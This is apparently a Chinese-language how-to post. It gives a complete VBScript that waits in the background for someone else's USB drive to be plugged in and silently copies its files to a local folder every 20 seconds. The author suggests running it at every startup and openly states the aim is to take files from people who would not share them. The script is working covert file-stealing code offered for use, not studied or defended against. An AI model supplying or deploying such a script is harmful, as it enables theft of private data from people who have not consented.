怎么拷贝U盘的东西呢? 复制粘贴 没错, 可是有的人不给呢?
下面看我的,首先新建一个txt文件,
将如下代码复制进去。
------------------------------------------------------------------------分割线-----------------------------------------------------------------------------------------------------------------------------
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
dim USB, file, folder, files
USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","H")
folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:","请输入复制到的文件夹","D:USB")
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL")
USB=USB & ":"
folder=folder & ""
if files="ALL"then
file=USB & "*"
else
file=USB & "*." & files
end if
if FSO.FolderExists(folder) then
else
FSO.CreateFolder(folder)
end if
on error resume next
do
wscript.sleep 1000
if fso.driveexists(USB) then
fso.copyfile file,folder
fso.copyfolder file,folder
wscript.sleep 20000
end if
loop
复制代码
------------------------------------------------------------------------分割线-----------------------------------------------------------------------------------------------------------------------------
把复制代码的文本文档的后缀名改为.vbs,怎么改后缀名我就不说了。
把修改过后的文本文档复制到D盘,每次开机点击运行就OK(如果不想开机每次运行,可以去去开机计划命令)
代码的意思就是别人的U盘插你电脑,然后自动拷贝U盘的文件